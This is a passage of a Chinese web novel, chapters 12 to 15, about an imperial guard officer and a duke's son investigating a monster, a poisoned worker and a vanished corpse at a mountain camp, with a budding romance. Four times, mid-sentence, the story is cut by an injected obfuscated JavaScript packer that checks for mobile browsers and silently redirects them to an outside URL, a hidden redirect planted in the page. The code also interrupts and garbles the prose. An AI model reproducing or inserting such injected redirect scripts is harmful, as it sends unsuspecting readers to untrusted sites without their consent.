“你让人去准备些柴草,找块空旷的地方,把那东西的尸体烧了吧。”祁煊朝吴千钧吩咐道。那尸体此前一直未曾处置,是怕皇帝得知此事会有别的安排,如今看来皇帝并不如何在意,甚至连多余的细节都没问。 吴千钧领了命离开,那只细犬却没有跟着走,而是围着闻潮落嗅来嗅去。 “这只狗长得有点像你。”闻潮落说着便去摸细犬的脑袋。 “小心!”祁煊出言想阻止,却已来不及,闻潮落的手已经放到了狗头上,并且毫不见外地揉了两把。 细犬乃是牵狼卫特训,每一只都是精挑细选,非常认主,绝不允许除主人外的其他人碰触。它们平日里不会主动攻击人,一旦有人朝它们伸手,结局多半只有一个——被咬。 可方才闻潮落对着细犬又是摸又是揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396445|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对方竟是半点脾气都没,温顺得像一只兔子。 “你们这狗驯得挺好。”闻潮落挑眉,语带揶揄。他曾经一只脚差点踏入擎苍卫,知道无论是细犬还是隼,不与陌生人亲近才是上品。 祁煊这只狗,警惕性太差了。 “它平时不这么随便……”祁煊有些尴尬。这只细犬是他亲自驯的,没想到它在闻潮落面前这么不争气。 “我要去看烧怪物尸体,你陪我。”闻潮落说。 “没什么好看的,烧起来还会有奇怪的味道。”祁煊嘴上这么说,但还是亲自带着闻潮落去了烧尸体的地方。 “怪物”的尸体周围堆满了柴草,身上浇了火油。待一切准备就绪,吴千钧点燃柴草,火焰一冲而上,迅速将“怪物”的尸体吞噬。 “感觉不像是在烧怪物,像是在烧一个人。”闻潮落说。 “他们把它身上的毛都剃了,想研究一下它究竟是什么东西,可惜最后什么结论也没有。”祁煊叹了口气,似是有些感慨。 烧尸体的味道的确不怎么好,闻潮落没再多看。 祁煊看他情绪不大好,犹豫了一瞬,快步跟了上去。 “我不知道该怎么推掉那份差事。”闻潮落忽然说。 祁煊一愣,反应过来他说的是东宫执戟的差事,便问道:“为什么?你爹和太子殿下都疼你,若是你不喜欢的事,他们应该不会逼你吧?” “就是因为他们疼我,我才没法拒绝。我姐是太子妃,国公府与东宫荣辱与共,我爹想让我去东宫当差……”闻潮落走到一旁的石头上坐下,难得露出了几分无助来,“如果一个人一直对你很好,处处关照爱护你,不求回报。到头来,他只想让你做一件力所能及的小事,你会拒绝吗?” 祁煊有些意外。 他从不知道闻潮落竟还有这样的一面。 “如果我是你爹……” “放屁,我才是你爹呢!” “我不是这个意思。”祁煊赶忙改口:“我是说,假如我对一个人好,处处关照爱护,那一定是因为我想对他好,不是为了回报。你爹和太子殿下若是真心疼你,一定也希望你快活,而不是委曲求全。” 闻潮落看着祁煊,感觉这家伙在应对这种事情时,的确比自己更有法子。 “那你去朝我爹说吧,就说我不想去东宫当差。” “啊?”祁煊忙推脱,“我去说不合适。” “这有什么不合适的,我的事就是你的事,你同我还分这么清楚?” “我没……”祁煊冷不丁想起了那晚的梦,有些恍神。 闻潮落见状以为他不愿意,又道:“你必须去,就这么定了。丑媳妇总要见公婆的。” 祁煊:…… 12. 晋.江独家发表 祁煊与昌国公勉强也算是熟人。 少年时因着和闻潮落的关系,他曾去过几次国公府。后来他升任牵狼卫副统领,颇得皇帝器重,时常在早朝时护卫在侧,几乎日日都能与国公爷打照面。 但闻潮落让他办的事,的确有点难为人。 他一个外人,哪有什么资格对闻潮落的差事指手画脚? “要不然我帮你想想别的法子?”祁煊与闻潮落打商量。 “你看着办吧,左右这事儿包在你身上了。”闻小公子一副甩手掌柜的做派,甩出去的任务,绝不会再揽回来。 反正祁煊是他的夫君,为他办事天经地义。 不等祁煊再推脱,卢明宗朝着两人走了过来。 “烧东西这味道闻着真怪,我都饿了。”卢明宗看着远处的火堆,朝祁煊问道:“就这么不明不白的烧了,旁的都不追究了?这怪物从哪儿来,要到哪儿去,外头还有没有同伙,一把火全了结了?” 祁煊看了卢明宗一眼,没有答话。 这是皇帝的旨意,他身为皇帝亲卫,不能置喙。 “陛下看重这次的祭天仪式,如今什么都越不过此事。若要大张旗鼓地追查那怪物,京中定会猜测纷纭,横生枝节。”一旁的闻潮落开口道:“再说了,这种事情已经超出了牵狼卫的能力范围。那怪物人不人鬼不鬼,应该算是妖邪吧?依我看,应该让你们盈华殿的人去查。” “啧,你怎么向着他说话?”卢明宗不满。 “我夸你们盈华殿的人神通广大,这你听不出来?”闻潮落笑道。 卢明宗被他一哄,立刻又恢复了笑意,拉着他道:“我现在就去查,你跟我来,我要让你亲眼看看我们盈华殿的本事。” “去哪儿?”闻潮落问。 “带你上山看看,你来这么久了,还没上过灵山吧?” 闻潮落正觉得在营中待着闷,当即便跟着他去了。 卢明宗怕他伤没好利索,本想同他溜达着上山,闻潮落却嫌走路慢,非要骑马。于是祁煊眼睁睁看着在自己面前骑马就喊屁股痛,还非要让他帮忙揉屁股的闻小公子,不顾肩伤陪卢明宗骑马上了山。 “不对劲。”祁煊神色严肃。 “头儿,怎么了?”吴千钧远远走过来,就见他们的祁副统领盯着远处奔马而去的人,眸光说不出的凌厉。 “你见过闻潮落对我笑吗?”祁煊问。 “呃……属下,没注意。”吴千钧说。 “他从来不对我笑,但是方才卢明宗过来找他说话,没说两句他就冲着卢明宗笑。”祁煊指着远处的身影,又道:“你看到了吧?他跟我骑马就要死要活的,跟卢明宗骑马就骑得那么欢。” 吴千钧挠了挠头,道:“闻小公子挺爱笑的啊,他平时与旁人说话都有说有笑的,属下在营中见着他打招呼,他也会笑,从不板着个脸。” “是吗?”祁煊表示怀疑。 难道闻潮落只有面对他时,才颐指气使? 仔细想想,好像确实是这样。闻潮落虽自幼是被宠大的,但性情并不跋扈,否则他在京城的勋贵子弟中也不会有那么好的人缘,人人见了他都喜欢得不得了。 “他这是……讨厌我?” “那倒未必,就像我娘,她待人接物素来和善,街坊邻居都夸她善解人意。但她朝我爹说话时就不同,有时还会骂我爹几句。我爹从来不生气,每次被骂了都笑呵呵的。我爹说这叫……打是亲骂是爱。”吴千钧认识的人有限,只能从自己爹娘身上举例子,试图安慰祁煊。 吴千钧这例子举得不算恰当,祁煊却听进去了。 闻潮落肯定不是讨厌他,谁会让讨厌的人做那些事啊?动不动还让抱着。 “头儿,您没事吧?”吴千钧小心翼翼问道。 “没事。”祁煊看着山道上越来越小的人影,心中蓦地生出了一个念头。 闻潮落该不会是…… 另一边。 两人已经到了山顶。 闻潮落去参观了在建的祭天台,不过他显然对这东西没什么兴趣,只随便看了几眼,连半点多余的好奇都没有。 “不喜欢?”卢明宗问他。 “我又不是陛下,怎么会喜欢这种东西?”闻潮落撇了撇嘴,“大逆不道”地说:“敬畏天地,心诚则灵。搞这么大阵仗,劳民伤财,还不如拿这银子去修官道呢。” 卢明宗四处看了看,生怕被人听到,恨不得去捂他的嘴。 “你这话应该去太子殿下面前说,看他还让不让你去东宫当差?”卢明宗道。 “我若是个孤臣,该说自然会说。可我是国公府的小公子,说这话我倒是痛快了,我爹怎么办?我姐姐在东宫又该如何自处?” 闻潮落叹了口气,又想起了去东宫当差一事,十分烦恼。 “此事你们盈华殿也有责任,不,你们责任非常大。”闻潮落控着马朝另一个山头漫步,嘴上不饶人,“要不是你师父推那劳什子卦象,陛下也不至于如此大动干戈。” “万一我师父说的是真的呢?”卢明宗道。 “那祭天,能避免灾劫?”闻潮落反问。 “不瞒你说,我还真偷偷推过一卦。” “那你说来听听……等会儿,那是什么?”闻潮落一夹马腹,到了一条裂缝前,“这里的山体裂了一条缝。”他说着跳下了马背。 卢明宗也到了近前,开口道:“这裂缝并不明显,你离那么远都能一眼发现?” “你看不到吗?”闻潮落目力过人,因此并不知道寻常人眼里看到的世界是什么样的。 这条细细的裂缝,在他看来就像煮熟的白皮茶叶蛋裂了口,一眼望去根本忽略不了。 “是地动引起的吗?”闻潮落问。 “应该是,祁副统领前几日就说让我来看看是否影响祭天台风水,我一直没顾上。”卢明宗盯着那条裂缝看了一会儿,似是在思考什么。 “他还信这个?”闻潮落拧眉。 “别忘了他的身份,陛下派他来就是监工祭天台的。” 闻潮落伸手拈了一点裂缝处的泥土,鼻息间隐约嗅到了一点味道。这味道似乎在哪里闻到过,可他一时之间没想起来。 “那你倒是说说,这裂缝会影响祭天的风水吗?”闻潮落问。 “这就不得不提我偷偷推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396446|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的那一卦了。”卢明宗凑近了些,用一种非常夸张且神秘兮兮的语气道:“卦象显示,是吉非凶。” “那是好事啊。” “不过还有后半句,逢凶化吉。” “那不还是好事吗?”闻潮落失笑。 “这你就不懂了吧?”卢明宗难得又找到了显摆自己所学的机会,朝闻潮落道:“所谓好事和坏事,要看你问的是结果还是过程。许多事情,过程或许是好的,但结果糟透了。反之,有些事情结果圆满,但过程很糟糕,甚至可以称得上惨烈。” 万事万物皆有因果,确实无法单纯地用好事或坏事来定义。 “我想到这泥土是什么味道了!”闻潮落眼睛一亮,“地动那天夜里,我看到灵山上弥漫着发光的雾气。当时我隐约闻到了一种味道,就是这里泥土沾着的味道。” 地动后,旁人都说没看到山上的雾气,令闻潮落一度以为自己只是做了个梦。可眼见的景象或许会和梦境混淆,味道却不会。 他此前从未嗅到过的味道,不可能出现在梦里。 那晚他看到的景象,是真的。 “你是说,地动的时候你看到的雾气,是从这条地缝里冒出来的?” “我不知道,我只记得当时……” 闻潮落竭力想要回忆起当时那一幕,却觉脑袋传来一阵钝痛,随即眼前一黑失去了意识。 营中。 太医正一筹莫展,被“怪物”咬伤的那个老张,情况一直在恶化。 如今不仅他伤口处溢出了黑色的毒血,那黑血还有蔓延之势,已经自颈上的伤口沿着血管扩散到了一侧的肩膀上,看上去像是在血管中灌了墨一般。 “人恐怕是不行了。”修造使朝祁煊道:“祁副统领,您给个章程吧。” “这是一条人命,你要我给你什么章程?难道就地处死?”祁煊反问。 “这……”修造使无言以对。 他觉得自己简直太倒霉了,本以为这祭天台修造使是个好差事,谁知接二连三出状况,且都是他处理不了的事。 “照这个速度,一旦黑血蔓延到心脏,只怕就无力回天了。”太医说。 “不能想办法阻止吗?放血行不行?”祁煊问。 太医一时没有答话,显然也拿不定主意。 他行医多年,还是第一次遇到这样的情况…… “太医!救命啊!”说话间,阿福匆匆跑了过来。 “怎么了?”祁煊见来人是闻潮落的小厮,心不由一沉。 “我家公子好端端的忽然晕倒了,劳烦太医快去瞧瞧。”阿福道。 众人匆忙出了营帐,就见几个牵狼卫正用木板抬着昏迷的闻潮落朝山下走。 祁煊见状打了个呼哨唤来了马,纵身跃上马背,急奔而至。他下马后顾不上其他,一把撕开了闻潮落的衣襟,又扯开了对方肩上裹着的布巾。 闻潮落肩上被“怪物”抓伤的伤口正在愈合,没有任何中毒的迹象。 可闻小公子被祁煊这么一折腾,竟然疼醒了,不由分说朝着祁煊的面门给了一拳。谁家好人大庭广众扒人衣服,还把人伤口给扒开看看啊? 13. 晋.江独家发表 祁煊结结实实吃了一拳,捂着鼻子半晌没缓过来。 不过他心里那块石头却落了地。 此前得知老张伤口恶化时,他就提心吊胆,生怕被“怪物”抓伤的闻潮落也会中毒。 幸好。 闻潮落没事。 回到营帐后,太医给闻潮落诊了脉。 “闻执戟脉象并无异样,只是略有些发烧,许是天凉受了风寒所致。”太医说罢又仔细查看了闻潮落的伤口,“目前看来,伤口没有中毒的迹象。” 众人闻言俱是松了一口气。 却听闻潮落说:“我比老张受伤晚了一夜,而且他是被咬伤,我是被抓伤。有没有可能,我也中毒了,只是毒性来得更慢?” “公子,快呸呸呸,说这话可不吉利。”阿福忙道。 一旁的祁煊却拧紧了眉头,因为他意识到闻潮落的推断不无道理。 也就是说,现在并不能彻底排除闻潮落中毒的可能,而他们唯一能做的只有等。只要伤口始终不出现中毒的迹象,闻潮落就是安全的。 太医开了退烧的药,闻潮落喝了药之后便睡了。 因着发烧的缘故,他时睡时醒,直到次日下午,烧才彻底退了。 就在闻潮落醒来后不久,营中传来了一个不幸的消息。老张在伤口的毒性持续蔓延后,终于没能抵挡住,死了。 修造使陈秉忠在得到消息后,亲眼去看了一眼老张的尸体,当场就被吓得退了出来。老张身上的血管,几乎被毒素浸透了,全身都透着诡异的墨色。 “尸体要烧了吗?”一旁的太医问道。 “老张是工部的人,和那怪物不同,一把火烧了怕是不合规矩吧?” 依着他们办事的流程,若是有工匠在修造中途意外身亡,需要通知家属前来认领尸体,然后再商讨抚恤事宜。陈秉忠也是第一次处理这种事,看起来焦头烂额。 “尸体不能这么放着,毕竟是中毒死的。”太医说。 “我找人先钉一副棺材将人放进去吧,棺材和尸体不好摆在营中,在大营外头另外搭个临时的棚子,等着他的家人来领。”陈秉忠说着叫来了人吩咐下去。 好在天气尚不算太热,尸体存上三五日应该还是可以的。 接二连三的怪事,营中氛围本就紧绷。 老张的死,令众人越发不安,整个营地都笼罩在颓丧之中。 闻潮落坐在门外的椅子上,身上裹着大氅。 夕阳斜斜照射在他身上,为他裹了一层虚影,像是将他与周围的世界隔绝了。 “退烧了?”祁煊不知何时走到了他身后。 “昨晚怎么没来陪我?”闻潮落看着远处的夕阳,语气似是极为不满。 “阿福不是陪着你的吗?”祁煊摸了摸鼻子,昨晚他其实来看过闻潮落,当时对方刚喝了药,睡得正香。 闻潮落没有纠缠这个问题,转而道:“我想去山顶看看。” “天都快黑了,怎么忽然想上山?”祁煊不解。 “有些事情,没想明白。”闻潮落看向祁煊,张开了胳膊,“过来,背我。” “啊?背你上山?”祁煊一脸震惊。 闻潮落见他似是不愿,拧眉道:“你现在都不愿背我了?” “我从前也没……”祁煊正想说自己以前也没怎么背过闻潮落,却蓦地想起了年少时的一桩旧事。 那个时候,闻潮落只有十二三岁,腿受了伤。可他玩心大,不肯老老实实待着,听说有人打架非要去看。 当时阿福外出给他买糕点,不在书院,祁煊就成了他的临时“坐骑”。 “到底背不背?”闻潮落问。 “背,闻小公子发话,谁敢忤逆?”祁煊语带揶揄,却还是老老实实上前背起了闻潮落。 祁煊本以为他上山是要看祭天台,闻潮落想看的却是那条裂缝。 “我昨日看到这条裂缝时,就在想,这裂缝是地动造成的,咬伤老张的那东西也是地动后出现的。你说……这其中会有关联吗?”闻潮落看向祁煊。 祁煊似乎也思考过这个问题,闻言并未表现出惊讶和疑惑,而是开口道:“我记得你说过,地动那日你看到过绿光,像雾气一样笼罩着灵山。” “你觉得那晚的绿光是从这裂缝里冒出来的?”闻潮落问。 “如果你当真看到过,不排除这个可能。” “咬人那东西身上的毒性,会和那晚我看到的绿光有关联吗?”那东西出现的契机太巧合了,正好是在地动后不久,很难不让人生出联想。 祁煊想了想,说道:“假设你看的绿光,或者说它弥漫后的雾气真的有毒,那它波及的范围应该是整座灵山,怎么袭击人的怪物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396447|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有一只?” “你怎么知道,只有一只?”闻潮落反问。 祁煊闻言一怔,无法反驳。 没人敢说那东西只有一只。 念及此,两人对视了一眼,谁也没有再开口说话。 若灵山上藏着不止一只怪物,接下来他们要面临的问题将会非常棘手。 回到营地后,祁煊一直在想闻潮落那句话。 假如怪物不止一只,他该如何应对? 就在他胡思乱想之际,听到外头传来了窸窸窣窣的声音。他起身走到营帐外,就见营地外围了一圈红色的像火球一样的东西,定睛一看,那并不是火球,而是无数双泛着红光的眼睛。 是怪物来了。 且数量极多,估计得有上百只。 祁煊来不及思考,一边吹哨示警,一边朝着闻潮落的营帐奔去。然而下一刻,他就看到闻潮落浑身是血被几只怪物自营帐中拖了出来…… “闻潮落!”祁煊大喊,猛地睁开了眼睛。 他坐在书案边大口喘着气,这才意识到自己不知何时睡着了,做了噩梦。 祁煊起身,去了闻潮落的营帐。 闻小公子并未遇到什么危险,此时正坐在木桶里沐浴。 “祁副统领来了?”阿福看到祁煊,忙朝他打招呼。 “我路过,没什么事情。”祁煊看了一眼帐中摆着的屏风,整个营地中,只有闻潮落的营帐中摆了屏风。 国公府的人办事当真周到,连屏风和浴桶都置办了。 “阿福,让他进来。”屏风后传来了闻潮落的声音。 祁煊轻咳了一声,犹豫再三还是乖乖进屋,立在了屏风后。 “进来,又不是没见过。”闻潮落说。 祁煊张了张嘴,心道自己和闻潮落都是大男人,确实不需要避讳什么,便尽量坦然地绕到了屏风里头。 闻潮落懒洋洋地趴在桶边,露出了瘦削匀称的脊背。他湿发半散着,有一缕粘在了背上,自脑后延伸至后腰,直至没入水中…… “你……”祁煊嗓子有些发干,移开视线,不自然地轻咳了一声,“病刚好,仔细又着凉了。” “那你动作快点,趁着水没凉,帮我擦背。”闻潮落坦然地指使他。 祁煊:…… 闻小公子还真把他当成小厮使唤? 14. 晋.江独家发表 给闻潮落擦背? 祁煊不知想到了什么,试图推脱。 “怎么不叫阿福帮你?” “阿福去给我装热水袋了。” 祁煊闻言伸头朝屏风外一看,果然阿福早已没了人影。无奈,他只能拿起布巾,伺候闻小公子沐浴。 “你怎么这么白?”祁煊眸光落在闻潮落身上。 上一次他帮闻潮落挠痒痒时,就发现对方身上摸着很滑,皮肤像煮熟的鸡蛋剥了壳一样,摸不到半点瑕疵。如今细看,不仅光滑,还挺白。 “你不白吗?”闻潮落反问。 “我……反正没你这么白,我就没见过比你白的。” 祁煊平时住在营中,牵狼卫儿郎们吃住都在一起,沐浴也是在公共的浴房里,因此见过不少人。可大伙儿都跟他差不多,晒得黑乎乎,身上也多多少少有磕碰留下的痕迹。 “你见过不少人?”闻潮落转头看他。 “牵狼卫的弟兄,大部分都看过吧。” 闻潮落挑了挑眉,扭过身体,扒开祁煊的衣襟看了看。祁煊肤色也不算很黑,是淡淡的麦色,不过和闻潮落凑在一处,落差还是挺明显的。 “黑点儿就黑点儿吧,我可以凑合。”闻潮落说。 “什么叫你可以凑合?”祁煊没听明白他这话里的意思。 闻潮落却不欲解释,两手按着祁煊的肩膀借力站了起来。那浴桶只有半人高,他坐着时身体尚能被遮住大半,这么站着便一览无余。 祁煊猝不及防,眸光不受控制地在闻潮落身上描了一圈,心道闻潮落的腿可真直啊。但他很快意识到自己这念头有点奇怪,还有点不太正经。 “洗好了,帮我擦干。”闻潮落伸开胳膊,等着被伺候。 祁煊怕他着凉,只能手忙脚乱找了条布巾把人擦干,又取了寝衣给他套上,最后因为没找到鞋子,还主动将闻潮落抱到了榻上。 “我亲弟弟,都没这么被我伺候过。”祁煊拿着布巾帮他擦头发。 “废话,我又不是你弟弟,那能一样吗?”闻潮落没好气地道:“你亲弟弟能跟你过一辈子?” “这话说的,难不成你还能跟我过一辈子?” “那就要看你的表现,和我的心情了。” 闻潮落想了想,感觉祁煊最近的表现还算过关吧。虽说这家伙总是很被动,缺乏积极性,但给他“当牛做马”的时候,也算任劳任怨。 所以,闻潮落打算给祁煊一点点小小的奖励。 “营里太冷,我自己睡不好,你搬过来吧。” “啊?”祁煊有点懵。 “我让你搬过来同我一起住。”闻潮落又说了一遍。 “我和你一起住?”祁煊更懵了。 “你搬过来给我暖被窝。”闻潮落说。 原来是怕冷,想找个人“暖被窝”? 祁煊有点纠结,一方面他觉得两个大男人睡在一起不太合适,另一方面他又觉得以闻潮落的性子,能主动提出这样的请求,实属难得。 若他此番不给对方这个面子,恐怕将来闻潮落都不会再轻易像今日这样“求”他。 但是…… 祁煊想起了自己给闻潮落挠痒痒那晚做的那个梦。 那个梦太离谱了,若是闻潮落知道,别说暖被窝了,说不定得拿弩给他来两下。尽管事后祁煊给自己找到了合适的理由,那是因为他许久不曾纾解过,梦到闻潮落纯粹是碰巧。 不行,他不能和闻潮落一起住。 万一再做那种梦,他往后还怎么面对闻小公子? 不对! 他若是拒绝,不就证明心虚吗? 祁煊觉得,自己不该心虚。 他又不是断袖,心虚什么? 他问心无愧! 他坦坦荡荡! 所以他不但不该拒绝,还应该欣然答应。 “好!”祁煊果断应下了。 反正近来营中不太平,搬过来住,他还可以顺便保护闻潮落。 这合情合理。 祁煊说干就干,当夜就搬到了闻潮落的营帐中。 怕闻小公子挑他理,他还特意去冲了个澡,就差给自己熏个香了。 祁煊做足了心理准备,等他过来时,才发现闻潮落早就睡着了。 闻小公子睡觉很轻,呼吸清浅,微蜷着身体的模样跟小猫似的。而且他睡着后,面上没了醒着时那副颐指气使的模样,显得格外乖顺。 祁煊悄悄掀开被子进去,睡梦中的闻潮落感觉到被子里多了个人,迷迷糊糊往他身上凑了凑,将两只手伸到了他的衣服里取暖。 手很凉,激得祁煊往后缩了缩身体。 那两只手的主人却不罢休,依旧往里塞。 祁煊只得妥协,给闻小公子当起了手炉。 这夜,闻潮落睡得很沉。 直到清晨时,他感觉有人在扒拉自己的领口,才醒过来。 “你在干什么?”闻潮落睡眼惺忪,盯着眼前的祁煊。 而堂堂祁副统领,此刻正挑着他衣襟往里头看,一副贼头贼脑的模样。 “我想检查一下你肩膀的伤口,看看有没有中毒的迹象。”祁煊讪讪松了手。 “我知道你想干什么。”闻潮落伸出右手食指,在祁煊领口的位置轻轻点了一下。 一触即分的痒意,令祁煊呼吸乱了一拍。 “我真的只是检查你的伤……” “你最好是,不过不是也不要紧。” 两个人成了婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396448|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一块儿,有些事情早晚要做的。 闻潮落如今不想,只是因为对祁煊尚不算完全满意,只要那家伙好好表现,他很乐意和对方试一试。 祁煊一大早要带着牵狼卫晨训。 闻潮落因着受伤和生病的缘故,已有数日不曾活动过,便想着今日一道凑个热闹,拉伸一下筋骨。 可他刚出了门没走几步,就顿住了脚步。 “你伤还没好利索呢,若是不想去,就在营帐里待着吧。”祁煊说。 “那个棚子里是老张的尸体吧?”闻潮落指了指营地后方一处新搭的棚子问。 “是,昨日刚搭好的。” “门怎么是虚掩着的?不怕尸体被野狗之类的东西咬了?” 门虚掩着? 祁煊循着闻潮落的视线看去,压根看不清那棚子的门。 “门上好像还沾了什么东西。”闻潮落回营帐取了弩,不由分说拎着弩去了那处棚子。祁煊虽不明所以,却还是快步跟在了他身后。 原以为棚子里可能闯入了什么食腐肉的动物,然而一脚踢开门后,里头竟空空如也,只有停放在其中的一口棺材,以及其中的…… 不对,棺材尚在,其中的尸体却不见了。 “怎么回事?尸体呢?”祁煊不解。 “负责巡防的都是你的人,这话应该我问你。”闻潮落看向他。 祁煊一头雾水,当即以哨音唤来了吴千钧。 吴千钧看了空着的棺材也是一脸疑惑,显然不知道发生了什么。 “人呢?”祁煊问。 “属下不知。这尸体是陈大人找人收敛的,棺材和棚子都是他们搭的,咱们的人只负责营地中活人的安全,没人说连尸体也得看着啊。”更何况他们人手本来就不够,哪里会想到抽调人手过来看着尸体? 不过眼下不是追究责任的时候。 而是要尽快找到老张的尸体,弄清楚究竟发生了什么。 “棺材没有钉上,要带走一具尸体不算太难,但若想不留下痕迹悄无声息的偷了尸体离开营地,却非易事。”祁煊围着小木屋看了一圈,最后停在了门口。 棚子的门上,沾了一点黑色的东西。 “闻潮落,你方才离得那么远,就已经察觉到门上沾了东西?” “对啊。”闻潮落拧眉看向他,“祁煊你这么问什么意思?不会怀疑尸体是我偷走然后贼喊捉贼吧?” “我不是这个意思。”祁煊慌忙解释。 “你什么意思都不行。再说了,昨晚咱俩睡的一张床,我什么时候干了什么,你能不知道?”闻潮落不依不饶。 而一旁的吴千钧,面上写满了大大的疑惑。 他们头儿,昨晚和闻小公子睡的一张床? 15. 晋.江独家发表 吴千钧很想多问一句,营中的床那么小,这俩大男人睡一起不嫌挤吗? 但眼下明显不是讨论这个的时候。 “去找陈大人,老张的尸体是他们的人收敛的,其中细节他应该清楚。”祁煊吩咐道。 吴千钧领命而去,闻潮落瞥了祁煊一眼,挖苦道:“不愧是牵狼卫的人,出了事情不先想着怎么解决,倒是挺会打太极。” 祁煊并不恼,而是耐心解释道:“我方才看过棺材,盖子上沾了黑血的指印,门上你看到的东西,应该也是老张中毒后的黑血。” 若尸体是被人偷走,血迹蹭到棺材上不奇怪,但不可能沾上指印。因为偷尸体的人没有必要多此一举,拿着尸体的手指去摸棺材。 若棺材沾上指印,只有一种解释…… “你的意思是,老张没死?”闻潮落看向祁煊。 “你能想到第二种解释吗?”祁煊问。 闻潮落走到棺材旁,看了一眼上头沾着的指印,看位置和方向,像是人从里头推开盖子时,不慎将手指上的血迹沾在了上头。 “他死的时候,太医和我们家的大夫都验看过,陈大人也在场……”闻潮落这才反应过来,难怪祁煊要找陈秉忠。 依着祁煊的推测,老张要么是没死,要么就是死了又活了。不管是哪一种可能,这都不止是牵狼卫能独自应对的事,只怕整个祭天台的工事都会受到牵扯。 “人死了,怎么会再活过来?”闻潮落觉得匪夷所思。 “人都能变成那种怪物,为什么不能死而复生?” 先前那“怪物”,众人都见过。 那东西无论身形还是模样,都很接近人。 老张是因为被“怪物”咬伤中毒死的,那毒性能让人致死,说不定也能让人再活过来。只是活过来的东西究竟还是不是人,就不好说了。 不多时,陈秉忠匆匆赶了过来。 他得知老张尸体失踪一事,整个人几乎快崩溃了。 “他家里的人今日就要来认尸了,到时候没有尸体给他们,我怎么交代啊?”陈秉忠急得抓耳挠腮,在棚子门外走来走去,“这营中到底怎么回事啊?短短数日,事情一桩接着一桩,如今连尸体都有人偷!到底是哪个杀千刀的干的?” 祁煊没空听他哭爹喊娘,而是命吴千钧带着所有牵狼卫出动,寻找老张的尸体,并安排了五人一组,每组人各带一只细犬。 “切记,不可被那东西弄伤。若是抓不住活的,当场格杀。”祁煊说。 吴千钧知道老张中毒的前因后果,闻言面色凝重,不敢有丝毫大意。 这时,祁煊才看向陈秉忠。 陈秉忠原本细高的身形如今佝偻着,像被压弯了腰。 “陈大人,你立即写一封折子,朝陛下秉明此事的利害,最好将祭天台工事暂缓。”祁煊说。 “祁副统领,您开什么玩笑?祭天台这么重要的工事,怎可暂缓?” “若我告诉你,先前那伤人的怪物很可能不止一只,你待如何?”祁煊盯着他,气势咄咄逼人,“回头等怪物闯入营中,我牵狼卫的儿郎有武艺傍身都可自保,你的人呢?” 一旁的闻潮落适时开口:“唔,换了我也要犹豫。一边是修造祭天台能得的赏赐,一边是工匠们被咬死的罪责……陈大人一时下不了决心取舍,也是人之常情。” 陈秉忠闻言脊背不禁有些发寒。 那怪物哪怕一只都够他受的了,要是再来几只伤了人命,他干脆去山上找块石头撞死算了。 最终,陈秉忠还是答应了去写折子。 祁煊则同闻潮落一道,也加入了寻找老张尸体的行列。 “我一直以为陛下挺信任两卫,如今看来也不过如此。”闻潮落一手拎着弩,嘴上挖苦祁煊,“你想让陛下重视此事,还得逼着陈大人写折子?” 祁煊说:“牵狼卫只负责执行陛下的命令,而不是教陛下做事。” “那陛下让你做什么你都会做吗?”闻潮落问。 “当然。” “哪怕明知道是错的,也会做?” 祁煊沉吟了半晌,没有回答。 但他没有否认,在闻潮落看来就是默认了。 两卫素来对皇帝忠诚,这是毋庸置疑的。所以哪怕祁煊早早就感觉到了事情的棘手,但皇帝要按下不提,他便只能一把火烧了那只“怪物”。 “你想来牵狼卫吗?”祁煊忽然问他。 “我想去的是擎苍卫。”闻潮落说。 “擎苍卫不适合你,你若考虑来牵狼卫,东宫的差事我帮你想办法推掉。”祁煊今天再一次目睹了闻潮落惊人的目力和直觉,没忍住朝对方发出了邀请。 “你就不怕我去牵狼卫,会抢了你的风头?” “别说是抢风头,就是这副统领的位置,你想要也可以拿去。” “谁稀罕?” 闻潮落嘴上嫌弃,心里却有些动摇。 仔细想想,同祁煊一起共事也不错。这样哪怕是当差的时候,这家伙也能随时随地任由他支使,多好! 此时。 一声哨音响起。 